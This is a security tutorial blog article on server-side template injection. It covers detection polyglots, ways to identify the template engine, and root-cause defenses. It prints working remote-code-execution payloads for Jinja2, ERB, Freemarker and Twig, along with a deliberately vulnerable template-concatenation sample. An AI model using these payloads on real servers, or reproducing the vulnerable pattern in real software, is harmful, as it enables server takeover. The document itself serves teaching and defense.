# A complete conquest of SSTI (server-side template injection) [2026]: detection, engine identification, RCE — a version faithful to the official docs

> An in-depth look at server-side template injection (SSTI) attack techniques, faithful to the PortSwigger Web Security Academy. From the cause the vulnerability arises, detection (the polyglot ${{<%[%'"}}%\ and arithmetic evaluation), template-engine identification (Jinja2/Twig/Freemarker/ERB), and exploitation from information disclosure to file reading and remote code execution (RCE), to root-cause defenses via 'don't make user input a template' and 'logic-less engines / sandboxes' — explained with examples limited to your own lab.

- Published: 2026-06-28
- Author: 友田 陽大
- Tags: セキュリティ, ホワイトハッカー, SSTI, 脆弱性診断, Webセキュリティ
- URL: https://tomodahinata.com/en/blog/server-side-template-injection-ssti-rce-detection-exploitation-guide
- Category: 実践Webハッキング技法
- Pillar guide: https://tomodahinata.com/en/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide

## Key points

- The essence of SSTI is 'concatenating user input as template code, not as data.' Because the template engine evaluates code on the server, when it lands it can reach from information disclosure all the way to RCE — one of the most dangerous classes.
- Detection: first throw the polyglot ${{<%[%'"}}%\ and observe errors or anomalies. In a plaintext context, insert ${7*7} or {{7*7}}, and if '49' comes back, code is being evaluated server-side = SSTI confirmed.
- Engine identification is the key to exploitation: distinguish by how {{7*7}} and ${7*7} behave, error messages, and engine-specific syntax. Exploitation payloads differ entirely across Jinja2(Python)/Twig(PHP)/Freemarker(Java)/ERB(Ruby).
- Exploitation traverses the engine's object graph. In Jinja2, traverse subclasses from a built-in object to reach os.popen for RCE. In ERB, system commands directly. Even if it looks like 'just XSS,' server execution = the impact is orders of magnitude greater.
- The root-cause defense is 'don't concatenate user input into a template.' Pass input as 'data' via template variables. If user-provided templates are needed, isolate with logic-less (Mustache), a sandbox, and a least-privilege container.

---

SSTI (server-side template injection) is **one of the highest-impact classes among web-app vulnerabilities.** As [PortSwigger](https://portswigger.net/web-security/server-side-template-injection) defines it, "an attacker injects a malicious payload in the template's native syntax, and it's executed server-side," often connecting directly to **remote code execution (RCE)** — i.e., server takeover. This article explains those attack techniques faithfully to the official source.

> **An absolute premise:** since SSTI easily reaches RCE, it's **extremely invasive**. Execute only within a [legal lab](/blog/ethical-hacking-home-lab-kali-juice-shop-ctf-self-study-roadmap-guide) or a scope authorized in writing. Demonstrating RCE in production has enormous impact, so agree on the authorized range and procedure with the client in advance (→ [the legal guide](/blog/ethical-hacker-law-japan-unauthorized-access-act-active-cyber-defense-disclosure-guide)). The map is the [pillar](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide).

---

## 1. The essence of SSTI — concatenating input as "code"

A template engine (Jinja2, Twig, Freemarker, ERB…) generates HTML by replacing placeholders like `{{ name }}` with real data. The problem is when you **concatenate user input itself into the template string.**

```python
# ❌ 脆弱：ユーザー入力 name をテンプレート「コード」に連結している（Jinja2）
from jinja2 import Template
output = Template("Dear " + request.args["name"]).render()
#                            └─ ここに {{7*7}} を入れると、サーバーが評価する

# ✅ 安全：入力は「データ」としてレンダ変数で渡す（テンプレートは固定）
output = Template("Dear {{ name }}").render(name=request.args["name"])
```

Pass `name={{7*7}}` to the vulnerable example above, and the output is **`Dear 49`**. Proof that **code was evaluated on the server.**

---

## 2. Detection — polyglots and arithmetic evaluation

PortSwigger's methodology is three stages: **detect → identify the engine → exploit.** First, detection.

### 2.1 "Break" it with a polyglot

Throw a **polyglot** that contains special characters of multiple engines at once, and observe errors or anomalous responses.

```text
${{<%[%'"}}%\
```

If an error (exception, stack trace, 500) appears, it's likely reaching template processing.

### 2.2 Evaluate arithmetic by context

PortSwigger distinguishes two contexts.

- **Plaintext context**: embedded directly into the output. Insert `${7*7}` or `{{7*7}}`, and **if `49` comes back, it's confirmed.**
- **Code context**: it goes inside an existing expression (e.g. `greeting=data.name`). First **close** the expression, then inject (break out with `}}` or `"`).

```text
# プレーンテキスト文脈
{{7*7}}     → 49 なら Jinja2/Twig 系
${7*7}      → 49 なら Freemarker/一部エンジン
<%= 7*7 %>  → 49 なら ERB(Ruby)
#{7*7}      → 49 なら 一部エンジン
```

---

## 3. Engine identification — exploitation payloads are engine-dependent

Because the exploitation method differs entirely by **which engine**, identification is the key to exploitation. Distinguish by how `{{7*7}}` and `${7*7}` behave, the wording of error messages, and engine-specific syntax.

```text
# 切り分けの例
{{7*7}} が 49、{{7*'7'}} が 7777777 → Jinja2(Python)
{{7*7}} が 49、{{7*'7'}} が 49        → Twig(PHP)
${7*7} が 49                          → Freemarker(Java) / 一部
<%= 7*7 %> が 49                      → ERB(Ruby)
```

If a library name (`jinja2`, `Twig\Error`, etc.) appears in the error message, you can identify it in one shot.

---

## 4. Exploitation — from information disclosure to RCE

### 4.1 Jinja2 (Python) — traverse the object graph

In Jinja2, **traverse subclasses** from a built-in object to reach dangerous functions (`os.popen`, etc.).

```python
# 設定値や環境を覗く（情報漏洩）
{{ config }}
{{ config.items() }}

# RCEへ：サブクラス経由で OS コマンドを実行する古典的経路（概念・lab限定）
{{ ''.__class__.__mro__[1].__subclasses__() }}   # 利用可能なクラスを列挙
{{ cycler.__init__.__globals__.os.popen('id').read() }}   # コマンド実行
```

### 4.2 ERB (Ruby) / Freemarker (Java) / Twig (PHP)

```text
# ERB(Ruby)：素直にシステムコマンドを書ける
<%= system("id") %>
<%= `id` %>

# Freemarker(Java)：実行系オブジェクトを生成
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

# Twig(PHP)：フィルタ経由で関数呼び出し
{{ ['id'] | filter('system') }}
```

> **An important perspective:** even though SSTI looks at first like "just arithmetic being evaluated," it differs from XSS by an order of magnitude in impact, in that **arbitrary code runs on the server.** A pro judges "this can become RCE" the instant they see `{{7*7}}=49`.

---

## 5. [Defender side] Root-cause defenses

The conclusion of PortSwigger and [OWASP](https://owasp.org/www-project-web-security-testing-guide/) is clear.

```python
# ✅ 最大の対策：ユーザー入力を「テンプレート」にしない。常に「データ」で渡す
template = env.get_template("greeting.html")   # テンプレートは固定の信頼済みファイル
html = template.render(name=user_input)        # 入力は変数として注入されるだけ（安全）
```

Design principles:

- **Don't concatenate user input into a template string** (most important). Always pass input as a render variable = data.
- **Don't allow users to edit templates.** If absolutely needed:
  - Use a **logic-less engine** ([Mustache](https://mustache.github.io/), etc.) to cut off the room for arbitrary code evaluation.
  - **Sandbox** it (evaluate untrusted templates in an isolated environment). But don't over-trust it, since sandbox-escape research exists.
  - Isolate in a **least-privilege container** to contain the damage even if RCE occurs.
- **Defense in depth**: WAF, output monitoring, least-privilege process execution. These are insurance, not "a substitute for design."

SSTI is two sides of the same coin as the design decision of "opening templates to users as a feature" (customizing email bodies, etc.). The most reliable defense is to **question from "is that feature really needed (YAGNI)."** For how to crush it at the design stage with threat modeling, see the [STRIDE threat-modeling guide](/blog/threat-modeling-stride-data-flow-diagram-secure-design-practical-guide).

---

## 6. Summary

- **The essence**: concatenating user input as template "code" gets code evaluated on the server.
- **Detection**: polyglot `${{<%[%'"}}%\` → if the arithmetic `{{7*7}}`/`${7*7}` is `49`, it's confirmed.
- **Engine identification is the key**: distinguish Jinja2/Twig/Freemarker/ERB with `{{7*'7'}}`, etc.
- **Exploitation**: traverse the object graph to RCE. Unlike XSS, server execution = enormous impact.
- **Root-cause defense**: don't make input a template. If needed, logic-less / sandbox / least-privilege isolation.

That completes the major attack techniques of this cluster. To sublimate the understanding of attacks into defensive design, go back to the [pillar](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide) for an overview, and hone real-world practice legally with [bug bounties](/blog/bug-bounty-getting-started-hackerone-bugcrowd-scope-report-disclosure-guide).

---

### References (official primary sources)

- [PortSwigger: Server-side template injection](https://portswigger.net/web-security/server-side-template-injection) / [Exploiting SSTI](https://portswigger.net/web-security/server-side-template-injection/exploiting)
- [OWASP: Web Security Testing Guide (SSTI testing)](https://owasp.org/www-project-web-security-testing-guide/) / [OWASP Top 10:2025](https://owasp.org/Top10/2025/)
- [Mustache (logic-less templates)](https://mustache.github.io/)
